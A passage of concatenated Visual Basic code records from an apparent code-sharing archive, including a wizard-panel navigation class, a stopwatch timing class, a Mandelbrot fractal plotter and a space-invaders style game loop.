StartWizard_Exit\nStartWizard_Error:\n Select Case Err\n '-- Add specific error cases here\n 'Case ...\n Case Else:\n Err.Raise Err.Number, _\n \"cWizardEngine::StartWizard()\", _\n Err.Description, Err.HelpFile, _\n Err.HelpContext\n End Select\n Resume StartWizard_Exit\n Resume 'For debugging purposes\nStartWizard_Exit:\nEnd Sub\n'-----------------------\n' Properties\n'-----------------------\nPublic Property Set CancelButton(RHS As CommandButton)\n Set m_cmdCancelButton = RHS\nEnd Property\nPublic Property Get CurrentPanelNbr() As Long\n '-- Return the current panel number.\n CurrentPanelNbr = m_lCurrentPanelNbr\nEnd Property\nPublic Property Set FinishButton(RHS As CommandButton)\n Set m_cmdFinishButton = RHS\nEnd Property\nPublic Property Get FinishEnabledOnAllPanels() As Boolean\n FinishEnabledOnAllPanels = m_bFinishEnabledOnAllPanels\nEnd Property\nPublic Property Let FinishEnabledOnAllPanels(RHS As Boolean)\n m_bFinishEnabledOnAllPanels = RHS\nEnd Property\nPublic Property Set NextButton(RHS As CommandButton)\n Set m_cmdNextButton = RHS\nEnd Property\nPublic Property Set PrevButton(RHS As CommandButton)\n Set m_cmdPrevButton = RHS\nEnd Property\n'-------------------------\n' Class Methods\n'-------------------------\nPrivate Sub Class_Initialize()\n On Error Resume Next\n m_bFinishEnabledOnAllPanels = False\n m_lPanelCount = 0\n m_lCurrentPanelNbr = 0\nEnd Sub\nPrivate Sub Class_Terminate()\n \n On Error Resume Next\n \n Dim X As Long\n \n Set m_cmdCancelButton = Nothing\n Set m_cmdFinishButton = Nothing\n Set m_cmdNextButton = Nothing\n Set m_cmdPrevButton = Nothing\n \n For X = 1 To m_lPanelCount\n Set m_aPanels(X) = Nothing\n Next\nEnd Sub\n'-------------------------\n' Event handlers\n'-------------------------\nPrivate Sub m_cmdCancelButton_Click()\n '-- Do nothing. It is up to the caller to handle it.\nEnd Sub\nPrivate Sub m_cmdFinishButton_Click()\n '-- Do nothing. It is up to the caller to handle it.\nEnd Sub\nPrivate Sub m_cmdNextButton_Click()\n '-- Display the next panel.\n On Error GoTo m_cmdNextButton_Click_Error\n \n Dim bCancel As Boolean\n \n '-- Give the caller a chance to cancel this event.\n RaiseEvent BeforeNext(m_lCurrentPanelNbr, bCancel)\n If bCancel = True Then\n GoTo m_cmdNextButton_Click_Exit\n End If\n m_aPanels(m_lCurrentPanelNbr + 1).Visible = True\n \n '-- Hide the current panel.\n m_aPanels(m_lCurrentPanelNbr).Visible = False\n \n '-- Increment the current panel.\n m_lCurrentPanelNbr = m_lCurrentPanelNbr + 1\n \n '-- Enable the Prev button.\n m_cmdPrevButton.Enabled = True\n \n '-- If we are now on the last panel, enable the finish\n ' button if it is not already enabled and disable\n ' the Next button.\n If m_lCurrentPanelNbr = m_lPanelCount Then\n m_cmdFinishButton.Enabled = True\n m_cmdNextButton.Enabled = False\n End If\n \n '-- Let the caller know we are finished.\n RaiseEvent AfterNext(m_lCurrentPanelNbr)\n \n '-- Exit the procedure.\n GoTo m_cmdNextButton_Click_Exit\nm_cmdNextButton_Click_Error:\n Select Case Err\n '-- Add specific error cases here\n 'Case ...\n Case Else:\n Err.Raise Err.Number, _\n \"cWizardEngine::m_cmdNextButton_Click()\", _\n Err.Description, Err.HelpFile, _\n Err.HelpContext\n End Select\n Resume m_cmdNextButton_Click_Exit\n Resume 'For debugging purposes\nm_cmdNextButton_Click_Exit:\nEnd Sub\nPrivate Sub m_cmdPrevButton_Click()\n '-- Display the previous panel.\n On Error GoTo m_cmdPrevButton_Click_Error\n m_aPanels(m_lCurrentPanelNbr - 1).Visible = True\n \n '-- Hide the current panel.\n m_aPanels(m_lCurrentPanelNbr).Visible = False\n \n '-- Decrement the current Panel.\n m_lCurrentPanelNbr = m_lCurrentPanelNbr - 1\n \n '-- Enable the Next Button.\n m_cmdNextButton.Enabled = True\n \n '-- We are not on the last panel, so disable the\n ' Finish button.\n If m_bFinishEnabledOnAllPanels = False Then\n m_cmdFinishButton.Enabled = False\n End If\n \n '-- If we are on the first panel, disable the Prev button.\n If m_lCurrentPanelNbr = 1 Then\n m_cmdPrevButton.Enabled = False\n End If\n \n '-- Exit the procedure.\n GoTo m_cmdPrevButton_Click_Exit\nm_cmdPrevButton_Click_Error:\n Select Case Err\n '-- Add specific error cases here\n 'Case ...\n Case Else:\n Err.Raise Err.Number, _\n \"cWizardEngine::m_cmdPrevButton_Click()\", _\n Err.Description, Err.HelpFile, _\n Err.HelpContext\n End Select\n Resume m_cmdPrevButton_Click_Exit\n Resume 'For debugging purposes\nm_cmdPrevButton_Click_Exit:\nEnd Sub\n"},{"WorldId":1,"id":8546,"LineNumber":1,"line":"Option Explicit\nOption Compare Text\n'\n'-- Copyright Matthew Janofsky 2000\n'\n'-- Use the class to implement a stopwatch whenever\n' you want to time how many milliseconds it takes\n' to perform some action.\n'\n' Example usage:\n'\n' Public Sub MySub()\n' Dim SW As CStopWatch\n' Dim X As Long\n'\n' Set SW = New CStopWatch\n'\n' '-- Start the timer.\n' SW.StartTimer\n' For X = 1 To 100000\n' '-- Do something.\n' If X Mod 10000 = 0 Then\n' '-- Show the lap time.\n' Debug.Print \" Laptime: \" & SW.LapTime _\n' & \" Elapsed: \" & SW.ElapsedMilliseconds\n' End If\n' Next X\n' SW.StopTimer\n' Debug.Print \"Loop Time: \" & SW.ElapsedMilliseconds\n'\n' Set SW = Nothing\n' End Sub\n'\n' Debug output:\n' Laptime: 0 Elapsed: 0\n' Laptime: 6 Elapsed: 6\n' Laptime: 5 Elapsed: 11\n' Laptime: 4 Elapsed: 15\n' Laptime: 5 Elapsed: 20\n' Laptime: 5 Elapsed: 25\n' Laptime: 5 Elapsed: 30\n' Laptime: 0 Elapsed: 30\n' Laptime: 5 Elapsed: 35\n' Laptime: 5 Elapsed: 40\n' Loop Time: 40\n'-- Local Declares\nPrivate Declare Function GetTickCount Lib \"kernel32\" () As Long\n'-- Local private variables\nPrivate m_lStartTime As Long\nPrivate m_lEndTime As Long\nPrivate m_lLastLapTime As Long\nPublic Sub StopTimer()\n On Error GoTo StopTimer_Error\n m_lEndTime = GetTickCount()\n '-- Exit the procedure.\n GoTo StopTimer_Exit\nStopTimer_Error:\n Err.Raise Err.Number, \"CStopWatch::StopTimer()\", _\n Err.Description, Err.HelpFile, Err.HelpContext\n Resume StopTimer_Exit\n Resume 'For debugging purposes\nStopTimer_Exit:\nEnd Sub\nPublic Sub ResetTimer()\n On Error GoTo ResetTimer_Error\n m_lStartTime = 0\n m_lEndTime = 0\n m_lLastLapTime = 0\n \n '-- Exit the procedure.\n GoTo ResetTimer_Exit\nResetTimer_Error:\n Err.Raise Err.Number, \"CStopWatch::ResetTimer()\", _\n Err.Description, Err.HelpFile, Err.HelpContext\n Resume ResetTimer_Exit\n Resume 'For debugging purposes\nResetTimer_Exit:\nEnd Sub\nPublic Sub StartTimer()\n On Error GoTo StartTimer_Error\n \n Dim lStoppedTime As Long\n \n '-- If there is an endtime, we need to calculate how much time\n ' has elapsed since it was stopped and adjust the start time\n ' and last lap time accordingly. We don't want to\n ' include time that passed while the watch was stopped.\n \n If m_lEndTime > 0 Then\n \n '-- How long were we stopped?\n lStoppedTime = GetTickCount() - m_lEndTime\n \n '-- Adjust the start time.\n m_lStartTime = m_lStartTime + lStoppedTime\n \n '-- Adjust the LapTime.\n m_lLastLapTime = m_lLastLapTime + lStoppedTime\n \n Else\n \n '-- First time we've started. Just capture the start time.\n m_lStartTime = GetTickCount()\n \n End If\n \n '-- Clear the endtime.\n m_lEndTime = 0\n \n '-- Exit the procedure.\n GoTo StartTimer_Exit\nStartTimer_Error:\n Err.Raise Err.Number, \"CStopWatch::StartTimer()\", _\n Err.Description, Err.HelpFile, Err.HelpContext\n Resume StartTimer_Exit\n Resume 'For debugging purposes\nStartTimer_Exit:\nEnd Sub\nPublic Property Get ElapsedMilliseconds() As Long\n On Error GoTo ElapsedMilliseconds_Error\n If m_lStartTime = 0 Then\n '-- The timer hasn't started yet. Return 0.\n ElapsedMilliseconds = 0\n GoTo ElapsedMilliseconds_Exit\n End If\n \n If m_lEndTime = 0 Then\n '-- The user has not clicked stop yet. Give an elapsed time.\n ElapsedMilliseconds = GetTickCount() - m_lStartTime\n Else\n '-- There is a stop time. Just calculate the difference.\n ElapsedMilliseconds = m_lEndTime - m_lStartTime\n End If\n '-- Exit the procedure.\n GoTo ElapsedMilliseconds_Exit\nElapsedMilliseconds_Error:\n Err.Raise Err.Number, \"CStopWatch::ElapsedMilliseconds()\", _\n Err.Description, Err.HelpFile, Err.HelpContext\n Resume ElapsedMilliseconds_Exit\n Resume 'For debugging purposes\nElapsedMilliseconds_Exit:\nEnd Property\nPublic Property Get Laptime() As Long\n '-- Return the number of seconds since the last LapTime.\n On Error GoTo Laptime_Error\n \n Dim lCurrentLapTime As Long\n Dim lRetVal As Long\n \n lCurrentLapTime = Me.ElapsedMilliseconds\n \n If m_lLastLapTime = 0 Then\n '-- First Lap. Just return the Elapsed Milliseconds.\n lRetVal = lCurrentLapTime\n Else\n lRetVal = lCurrentLapTime - m_lLastLapTime\n End If\n \n '-- Save the last lap time.\n m_lLastLapTime = lCurrentLapTime\n \n '-- Return the lap time.\n Laptime = lRetVal\n \n '-- Exit the procedure.\n GoTo Laptime_Exit\nLaptime_Error:\n Err.Raise Err.Number, \"CStopWatch::Laptime()\", _\n Err.Description, Err.HelpFile, Err.HelpContext\n Resume Laptime_Exit\n Resume 'For debugging purposes\nLaptime_Exit:\nEnd Property\n"},{"WorldId":1,"id":8277,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":1517,"LineNumber":1,"line":"Private Sub Form_Click()\n 'These four constants define the rectangular region\n 'of the complex plain that will be iterated.\n 'Change the values to zoom in/out.\n Const ComplexPlain_X1 As Currency = -2\n Const ComplexPlain_Y1 As Currency = 2\n Const ComplexPlain_X2 As Currency = 2\n Const ComplexPlain_Y2 As Currency = -2\n \n 'These two variables are used to store the\n 'ScaleWidth and ScaleHeight values,for\n 'faster access.\n Dim ScreenWidth As Integer\n Dim ScreenHeight As Integer\n \n 'These two variables reflect the X and Y\n 'intervals of the loop that moves from\n '(ComplexPlain_X1,ComplexPlain_Y1) to\n '(ComplexPlain_X2,ComplexPlain_Y2) in\n 'the complex plain.\n Dim StepX As Currency\n Dim StepY As Currency\n \n 'These two are used in the main loop.\n Dim X As Currency\n Dim Y As Currency\n \n 'Cx and Cy are the real and imaginary part\n 'respectively of C,in the function\n ' Zv=Zv-1^2 + C\n Dim Cx As Currency\n Dim Cy As Currency\n \n 'Zx and Zy are the real and imaginary part\n 'respectively of Z,in the function\n ' Zv=Zv-1^2 + C\n Dim Zx As Currency\n Dim Zy As Currency\n \n 'This byte variable is assigned a number\n 'for each pixel in the form.\n Dim Color As Byte\n \n 'Used in the function that we iterate.\n Dim TempX As Currency\n Dim TempY As Currency\n \n ScreenWidth = Me.ScaleWidth\n ScreenHeight = Me.ScaleHeight\n \n 'Calculate the intervals of the loop.\n StepX = Abs(ComplexPlain_X2 - ComplexPlain_X1) / ScreenWidth\n StepY = Abs(ComplexPlain_Y2 - ComplexPlain_Y1) / ScreenHeight\n \n 'Clear the form.\n Cls\n \n Plotting = True\n \n For X = 0 To ScreenWidth\n For Y = 0 To ScreenHeight\n \n Cx = ComplexPlain_X1 + X * StepX\n Cy = ComplexPlain_Y2 + Y * StepY\n Zx = 0\n Zy = 0\n Color = 0\n \n 'If you want more fancy fractals,change the\n '255 to a higher number,but know that the\n 'higher you make it,the longer it takes\n 'for the fractal to be plotted.\n While (Not (Zx * Zx + Zy * Zy > 4)) And Color < 255 And Plotting\n TempX = Zx\n TempY = Zy\n Zx = TempX * TempX - TempY * TempY + Cx\n Zy = 2 * TempX * TempY + Cy\n Color = Color + 1\n Wend\n \n If Not Plotting Then Exit Sub\n \n 'You can change Color*100 to something else\n 'in order to get other color schemes in the\n 'fractal.The function you aply must always\n 'return a value in the range (0 to 16777215)\n SetPixel Me.hdc, X, Y, Color * 100\n \n Next\n Me.Refresh\n DoEvents\n Next\n Plotting = False\nEnd Sub\nPrivate Sub Form_Load()\n \n Me.AutoRedraw = True\n Me.ScaleMode = 3\n Me.Caption = \"The Mandelbrot Set\"\n \n MsgBox \"Resize the form and click on it to get the fractal.\" & vbCrLf & _\n \"Keep in mind that large fractals take longer to appear.\", vbInformation, \"The Mandelbrot Set\"\nEnd Sub\nPrivate Sub Form_Unload(Cancel As Integer)\n \n Plotting = False\nEnd Sub"},{"WorldId":1,"id":1724,"LineNumber":1,"line":"'The procedure that runs after Form_Load.It\n'It is used to give starting values to all\n'the variables that must be reset every\n'time a new level begins\nPrivate Sub Form_Activate()\n'Set starting values for the movement of each row\n'of aliens.All the aliens in one row move towards\n'the same direction and change direction when the\n'far right or far left alien hits the edge of the\n'form.This is why killing the aliens on the far\n'right and far left slows down their vertical movement\n'start the background midi.\nMi1 = \"LEFT\"\nMi2 = \"RIGHT\"\nMi3 = \"LEFT\"\nMi4 = \"RIGHT\"\nMi5 = \"LEFT\"\nTimer1.Enabled = True\nCls\ndead = 0\nForm1.KeyPreview = True\nRandomize\n'This code sets the coordinates,velocity\n'and size of the 30 small circles that\n'contantly move on the background.\n For i = 1 To 30\n x(i) = Int(Form1.Width * Rnd)\n Y(i) = Int(Form1.Height * Rnd)\n pace(i) = Int(500 - (Int(Rnd * 499)))\n size(i) = 14 - (13 * Rnd)\n Next\n'Set starting values for the coordinates\n'of the spaceship sprite\n x2 = 3760\n y2 = 5600\n'Set starting values for the coordinates of\n'the 15 aliens.The syntax\n' For I=1 to N\n' X=(Container.Width * (N-I)/N)-(Control.Width/2)\n' Next\n'can be used to horizontaly center N identical\n'controls in a container (Form,picture box etc)\n xi1 = (Form1.Width / 2) - (sprINVADER5.Width / 2)\n yi1 = 1000\n For i = 1 To 2\n yi2(i) = yi1 + sprINVADER5.Height + 50\n Next\n xi2(1) = (Form1.Width / 2) - (Form1.Width / 8) - (sprINVADER5.Width / 2)\n xi2(2) = (Form1.Width / 2) + (Form1.Width / 8) - (sprINVADER5.Width / 2)\n For i = 1 To 3\n yi3(i) = yi2(1) + sprINVADER5.Height + 50\n xi3(i) = ((Form1.Width * (4 - i) / 4) - (sprINVADER5.Width / 2))\n Next\n For i = 1 To 4\n yi4(i) = yi3(1) + sprINVADER5.Height + 200\n xi4(i) = ((Form1.Width * (5 - i) / 5) - (sprINVADER5.Width) / 2)\n Next\n For i = 1 To 5\n yi5(i) = yi4(1) + sprINVADER5.Height + 300\n xi5(i) = ((Form1.Width * (6 - i) / 6) - (sprINVADER5.Width) / 2)\n Next\nEnd Sub\n'The procedure that would normally run when\n'the user hits the cursor keys or the space bar\nPrivate Sub Form_KeyDown(KeyCode As Integer, Shift As Integer)\nSelect Case KeyCode\nCase vbKeySpace\nCall fire\nCase vbKeyLeft\nmovement = \"Left\"\nCase vbKeyRight\nmovement = \"Right\"\nCase Else\nmovement = \"\"\nEnd Select\nEnd Sub\n'This procedure is here in case you click the X\n'button on the upper right of the form instead\n'of the exit button.It makes sure that the text\n'file closes before the application ends\nPrivate Sub Form_Unload(Cancel As Integer)\ncmdExit_Click\nEnd Sub\n'The procedure that executes every 0,001 sec and\n'controls just about everything goes on in the\n'game.The general idea is that event procedures all\n'all around the project alter the values of FLAG\n'variables like BOOM,SHOT,X2 etc and this procedure\n'uses those values to do whatever the event is about.\nPrivate Sub Timer1_Timer()\n'---------------------------------------\n'Check if the top alien has crushed on the ship\nIf (y2 - (yi1 + sprINVADER5.Height)) < -100 And Abs((xi1 + (sprINVADER5.Width / 2)) - (x2 + sprSHIP.Width / 2)) < (sprINVADER5.Width / 2) Then\n'and if so\nTimer1.Enabled = False\nFor q = 1 To 6\nPaintPicture imgKABOOM(q).Picture, x2 + 600, y2\nFor l = 1 To 100000: Next\nNext\nForm_Activate\n'halt everything (Timer1.Enabled=false),\n'paint the 6 frames of the explosion on the good\n'guy ( that is now a dead good guy) and start over\n'a new level (Form_Activate)\nEnd If\n'Check if an alien from the second row has crushed\n'on the ship\nFor i = 1 To 2\nIf (y2 - (yi2(i) + sprINVADER5.Height)) < -100 And Abs((xi2(i) + (sprINVADER5.Width / 2)) - (x2 + sprSHIP.Width / 2)) < (sprINVADER5.Width / 2) Then\nTimer1.Enabled = False\nFor q = 1 To 6\nPaintPicture imgKABOOM(q).Picture, x2 + 600, y2\nFor l = 1 To 100000: Next\nNext\nForm_Activate\nEnd If\nNext\n'Check if an alien from the 3rd row has crushed\n'on the ship\nFor i = 1 To 3\nIf (y2 - (yi3(i) + sprINVADER5.Height)) < -100 And Abs((xi3(i) + (sprINVADER5.Width / 2)) - (x2 + sprSHIP.Width / 2)) < (sprINVADER5.Width / 2) Then\nTimer1.Enabled = False\nFor q = 1 To 6\nPaintPicture imgKABOOM(q).Picture, x2 + 600, y2\nFor l = 1 To 100000: Next\nNext\nForm_Activate\nEnd If\nNext\n'Check if an alien from the 4th row has crushed\n'on the ship\nFor i = 1 To 4\nIf (y2 - (yi4(i) + sprINVADER5.Height)) < -100 And Abs((xi4(i) + (sprINVADER5.Width / 2)) - (x2 + sprSHIP.Width / 2)) < (sprINVADER5.Width / 2) Then\nTimer1.Enabled = False\nFor q = 1 To 6\nPaintPicture imgKABOOM(q).Picture, x2 + 600, y2\nFor l = 1 To 100000: Next\nNext\nForm_Activate\nEnd If\nNext\n'Check if an alien from the lower row has crushed\n'on the ship\nFor i = 1 To 5\nIf (y2 - (yi5(i) + sprINVADER5.Height)) < -100 And Abs((xi5(i) + (sprINVADER5.Width / 2)) - (x2 + sprSHIP.Width / 2)) < (sprINVADER5.Width / 2) Then\nTimer1.Enabled = False\nFor q = 1 To 6\nPaintPicture imgKABOOM(q).Picture, x2 + 600, y2\nFor l = 1 To 100000: Next\nNext\nForm_Activate\nEnd If\nNext\n'If alien #1 is not dead...\nSelect Case kill(1)\nCase False\nSelect Case xi1\nCase Is > -230\n'and he's on the visible part of the Form\n'** (when an alien is shot,his X coordinate is given\n' a very low value (-5000) so that if by any\n' chance his sprite is painted on the form,you wont\n' see him)\nSelect Case Mi1\n'Then move him towards the direction that the\n'Mi1 variable points out\nCase \"LEFT\"\nxi1 = xi1 - 200\nIf xi1 < 0 Then Mi1 = \"RIGHT\": yi1 = yi1 + 155\nCase \"RIGHT\"\nxi1 = xi1 + 200\nIf xi1 > Form1.Width - sprINVADER5.Width Then Mi1 = \"LEFT\": yi1 = yi1 + 155\nEnd Select\nEnd Select\nEnd Select\n'Move the 2nd row aliens\nSelect Case Mi2\nCase \"LEFT\"\nIf kill(2) = False And xi2(1) > 100 Then xi2(1) = xi2(1) - 200\nIf kill(3) = False And xi2(2) > 100 Then xi2(2) = xi2(2) - 200\n'** (only if they're alive...)\nIf xi2(1) < 200 And kill(2) = False And xi2(1) > -100 Then\nMi2 = \"RIGHT\"\nFor q = 1 To 2\nIf boom = True And xinv = xi2(q) Then Exit For\nyi2(q) = yi2(q) + 155\nNext\nEnd If\nIf xi2(2) < 200 And kill(3) = False And xi2(2) > -100 Then\nMi2 = \"RIGHT\"\nFor q = 1 To 2\nIf boom = True And xinv = xi2(q) Then Exit For\nyi2(q) = yi2(q) + 155\nNext\nEnd If\nGoTo 2\nCase \"RIGHT\"\nIf kill(2) = False And xi2(1) > -100 And xi2(1) < (Form1.Width - sprINVADER5.Width) Then xi2(1) = xi2(1) + 200\nIf kill(3) = False And xi2(2) > -100 And xi2(2) < (Form1.Width - sprINVADER5.Width) Then xi2(2) = xi2(2) + 200\nIf xi2(1) > (Form1.Width - sprINVADER5.Width) And kill(2) = False Then\nMi2 = \"LEFT\"\nFor q = 1 To 2\nIf boom = True And xinv = xi2(q) Then Exit For\nyi2(q) = yi2(q) + 155\nNext\nEnd If\nIf xi2(2) > (Form1.Width - sprINVADER5.Width) And kill(3) = False Then\nMi2 = \"LEFT\"\nFor q = 1 To 2\nIf boom = True And xinv = xi2(q) Then Exit For\nyi2(q) = yi2(q) + 155\nNext\nEnd If\n2 End Select\n'Move the third row aliens\nSelect Case Mi3\nCase \"LEFT\"\nFor i = 1 To 3\nIf kill(i + 3) = False And xi3(i) > 100 Then xi3(i) = xi3(i) - 200\nIf xi3(i) < 200 And kill(3 + i) = False And xi3(i) > -100 Then\nMi3 = \"RIGHT\"\nFor q = 1 To 3\nIf boom = True And xinv = xi3(q) Then Exit For\nyi3(q) = yi3(q) + 155\nNext\nEnd If\nNext\nGoTo 3\nCase \"RIGHT\"\nFor i = 1 To 3\nIf kill(3 + i) = False And xi3(i) > -100 And xi3(i) < (Form1.Width - sprINVADER5.Width) Then xi3(i) = xi3(i) + 200\nIf xi3(i) > (Form1.Width - sprINVADER5.Width) And kill(3 + i) = False Then\nMi3 = \"LEFT\"\nFor q = 1 To 3\nIf boom = True And xinv = xi3(q) Then Exit For\nyi3(q) = yi3(q) + 155\nNext\nEnd If\nNext\n3 End Select\n'Move the fourth row aliens\nSelect Case Mi4\nCase \"LEFT\"\nFor i = 1 To 4\nIf kill(6 + i) = False And xi4(i) > 100 Then xi4(i) = xi4(i) - 200\nIf xi4(i) < 200 And kill(6 + i) = False And xi4(i) > -100 Then\nMi4 = \"RIGHT\"\nFor q = 1 To 4\nIf boom = True And xinv = xi4(q) Then Exit For\nyi4(q) = yi4(q) + 155\nNext\nEnd If\nNext\nGoTo 4\nCase \"RIGHT\"\nFor i = 1 To 4\nIf kill(6 + i) = False And xi4(i) > -100 And xi4(i) < (Form1.Width - sprINVADER5.Width) Then xi4(i) = xi4(i) + 200\nIf xi4(i) > (Form1.Width - sprINVADER5.Width) And kill(6 + i) = False Then\nMi4 = \"LEFT\"\nFor q = 1 To 4\nIf boom = True And xinv = xi4(q) Then Exit For\nyi4(q) = yi4(q) + 155\nNext\nEnd If\nNext\n4 End Select\n'Move the 5th row aliens\nSelect Case Mi5\nCase \"LEFT\"\nFor i = 1 To 5\nIf kill(10 + i) = False And xi5(i) > 100 Then xi5(i) = xi5(i) - 200\nIf xi5(i) < 200 And kill(10 + i) = False And xi5(i) > -100 Then\nMi5 = \"RIGHT\"\nFor q = 1 To 5\nIf boom = True And xinv = xi5(q) Then Exit For\nyi5(q) = yi5(q) + 155\nNext\nEnd If\nNext\nGoTo 5\nCase \"RIGHT\"\nFor i = 1 To 5\nIf kill(10 + i) = False And xi5(i) > -100 And xi5(i) < (Form1.Width - sprINVADER5.Width) Then xi5(i) = xi5(i) + 200\nIf xi5(i) > (Form1.Width - sprINVADER5.Width) And kill(10 + i) = False Then\nMi5 = \"LEFT\"\nFor q = 1 To 5\nIf boom = True And xinv = xi5(q) Then Exit For\nyi5(q) = yi5(q) + 155\nNext\nEnd If\nNext\n5 End Select\n'If the good guy killed 15 aliens,start\n'a new level by calling the Form_Activate procedure\nSelect Case dead\nCase 15\ndead = 0: Cls\nCall Form_Activate\nEnd Select\n'If there is an explosion going on somewhere on the\n'form (Boom=true) then paint the correct frame of\n'it (the variable Explosion represents the number\n'of the frame that must be currently painted)\nSelect Case boom\nCase True\nSelect Case explosion\nCase 1\n'If the explosion has just started (explosion=1)\n'then don't paint any frame of it,just erase the\n'alien that has been shot by painting the label\n'lblBlank on him.\n'lnlBlank is a black label used every now and then\n'to erase something from the form.It's Left and\n'Top properties have been assigned the X and Y\n'coordinates of the alien that's being killed\n'as you read these lines.This was done from the\n'Kaboom procedure,where the Boom variable was\n'assigned the value True and the whole explosion\n'buisness began\nlblBlank.Visible = True\nlblBlank.Visible = False\nCase Is <> 1\n'If the explosion has already started before the\n'current timer event then paint the current frame\n'of the explosion on the alien that was just killed.\n'Xinv and Yinv are the coordinates of the alien\n'that get's his butt kicked every time the good\n'guy hits bullseye.\nSelect Case xinv\nCase xi1\nPaintPicture imgKABOOM(explosion).Picture, xi1, yi1 - 100\nCase xi2(1)\nPaintPicture imgKABOOM(explosion).Picture, xi2(1) + 200, yi2(1) - 100\nCase xi2(2)\nPaintPicture imgKABOOM(explosion).Picture, xi2(2) + 200, yi2(2) - 100\nCase xi3(1)\nPaintPicture imgKABOOM(explosion).Picture, xi3(1) + 150, yi3(1) - 100\nCase xi3(2)\nPaintPicture imgKABOOM(explosion).Picture, xi3(2) + 150, yi3(2) - 100\nCase xi3(3)\nPaintPicture imgKABOOM(explosion).Picture, xi3(3) + 150, yi3(3) - 100\nCase xi4(1)\nPaintPicture imgKABOOM(explosion).Picture, xi4(1) - 30, yi4(1) - 100\nCase xi4(2)\nPaintPicture imgKABOOM(explosion).Picture, xi4(2) - 30, yi4(2) - 100\nCase xi4(3)\nPaintPicture imgKABOOM(explosion).Picture, xi4(3) - 30, yi4(3) - 100\nCase xi4(4)\nPaintPicture imgKABOOM(explosion).Picture, xi4(4) - 30, yi4(4) - 100\nCase xi5(1)\nPaintPicture imgKABOOM(explosion).Picture, xi5(1) - 30, yi5(1) - 100\nCase xi5(2)\nPaintPicture imgKABOOM(explosion).Picture, xi5(2) - 30, yi5(2) - 100\nCase xi5(3)\nPaintPicture imgKABOOM(explosion).Picture, xi5(3) - 30, yi5(3) - 100\nCase xi5(4)\nPaintPicture imgKABOOM(explosion).Picture, xi5(4) - 30, yi5(4) - 100\nCase xi5(5)\nPaintPicture imgKABOOM(explosion).Picture, xi5(5) - 30, yi5(5) - 100\nEnd Select\nEnd Select\n'Add 1 to the value of Explosion so that a new frame\n'of it will be painted in the next timer event\nexplosion = explosion + 1\nSelect Case explosion\nCase 7\n'if all the frames of the explosion have been painted\n'then the alien whose coordinates are the same\n'with the values of Xinv and Yinv is officialy dead\n'and the fun ends (Boom=false)\nexplosion = 0\nboom = False\nIf YouDied = True Then Form_Activate\n'Let's see that score increase...\nscore = score + 1000\n'Onother one bites the dust.(15-dead) to go\ndead = dead + 1\n'paint the blank label on the exact spot where\n'the explosion frames were painted incase there\n'is some smoke left floating there.\n'**(There is still a little bug and sometimes\n' (the smoke remains there.Oh well...)\nlblBlank.Left = xinv\nlblBlank.Top = yinv - 100\nlblBlank.Visible = True\nlblBlank.Visible = False\n'If an alien was just killed,then give his X coordinate\n'a very low value (-5000) so that he wont be visible\n'on the form\nIf kill(1) = True Then xi1 = -5000: kill(1) = False\nFor i = 1 To 2\nIf kill(i + 1) = True Then xi2(i) = -5000: kill(i + 1) = False: Exit For\nNext\nFor i = 1 To 3\nIf kill(3 + i) = True Then xi3(i) = -5000: kill(3 + i) = False: Exit For\nNext\nIf kill(7) = True Then xi4(1) = -5000: kill(7) = False\nIf kill(8) = True Then xi4(2) = -5000:: kill(8) = False\nIf kill(9) = True Then xi4(3) = -5000: kill(9) = False\nIf kill(10) = True Then xi4(4) = -5000: kill(10) = False\nFor i = 1 To 5\nIf kill(10 + i) = True Then xi5(i) = -5000: kill(10 + i) = False\nNext\nEnd Select\nCase False\nEnd Select\n'If the good guy has just fired his blaster,draw\n'a line .The upper bound is determined by how\n'high the alien that will be killed is.(if this\n'shot wont kill an alien then it will go all the\n'way up to the upper edge of the form).In fact\n'each time the good guy shoots ,3 lines are drawn\n'one after the other on the exact same spot and\n'with the exact same length.The first is either\n'blue or white,the second is either white or\n'blue and the third is black so that\n'the \"shot ring\" will be erased.This is how the\n'cool \"laser blaster\" effect is done\nSelect Case shot\nCase 1\nLine (xshot, y2)-(xshot, upper), COL2\nshot = 2\nCase 2\nLine (xshot, y2)-(xshot, upper), BackColor\nshot = 0\nEnd Select\n'Move the spaceship according to the value of the\n'variable Movement.As in most shoot'em up games,the\n'ship continues moving towards the direction it has\n'been last guided to until it meets the edge of the\n'form or onother direction is given.Normally this\n'would be done by the user hitting a cursor key\n'but in this demo it's done by inputing a new\n'keyword command from the file DEMO.DAT\nSelect Case movement\nCase \"Left\"\nx2 = x2 - 210\nIf x2 < -320 Then x2 = -320\nPaintPicture sprSHIP.Picture, x2, y2\nCase \"Right\"\nx2 = x2 + 210\nIf x2 > Form1.Width - 1700 Then x2 = Form1.Width - 1700\nPaintPicture sprSHIP.Picture, x2, y2\nEnd Select\n'Move the star field that's on the background.\nFor i = 1 To 30\nCircle (x(i), Y(i)), size(i), BackColor\nY(i) = Y(i) + pace(i)\n'If a star reaches the bottom of the form then\n'it is assigned a new X coordinate and in the next\n'timer event it will start falling again ( Y(i)=0)\nIf Y(i) >= Form1.Height Then Y(i) = 0: x(i) = Int(Form1.Width * Rnd)\nSelect Case pace(i)\n'There are 30 circles of various sizes.Each one\n'moves with a different speed and according to his\n'speed it is painted with a different shade of grey.\n'Stars that move slow are painted almost black 'cause\n'they are located deep in space.The ones that move\n'quick are almost white because they zip by near\n'the camera,they're also bigger than then slow ones.\nCase Is <= 200\nclr = &H404040\nCase Is <= 300\nclr = &H808080\nCase Is <= 400\nclr = &HC0C0C0\nCase Else\nclr = &HFFFFFF\nEnd Select\nCircle (x(i), Y(i)), size(i), clr\nNext\n'Paint the good guy\nPaintPicture sprSHIP.Picture, x2, y2\n'Paint the aliens that are not dead,in other\n'words the ones for whom Kill(#of alien)=false\n'Remember 1<= #of alien <=15\nIf kill(1) = False Then PaintPicture sprINVADER5.Picture, xi1, yi1\nFor i = 1 To 2\nIf kill(1 + i) = False Then PaintPicture sprINVADER5.Picture, xi2(i), yi2(i)\nNext\nFor i = 1 To 3\nIf kill(3 + i) = False Then PaintPicture sprINVADER5.Picture, xi3(i), yi3(i)\nNext\nFor i = 1 To 4\nIf kill(6 + i) = False Then PaintPicture sprINVADER5.Picture, xi4(i), yi4(i)\nNext\nFor i = 1 To 5\nIf kill(10 + i) = False Then PaintPicture sprINVADER5.Picture, xi5(i), yi5(i)\nNext\nEnd Sub\n'Pull that trigger...\nPrivate Sub fire()\nSelect Case boom\nCase True\nExit Sub\n'...but if an explosion is going on,don't fire,\n'there's no need to waste ammo\nEnd Select\nupper = 1000\nSelect Case shot\nCase Is <> 0\n'Also if 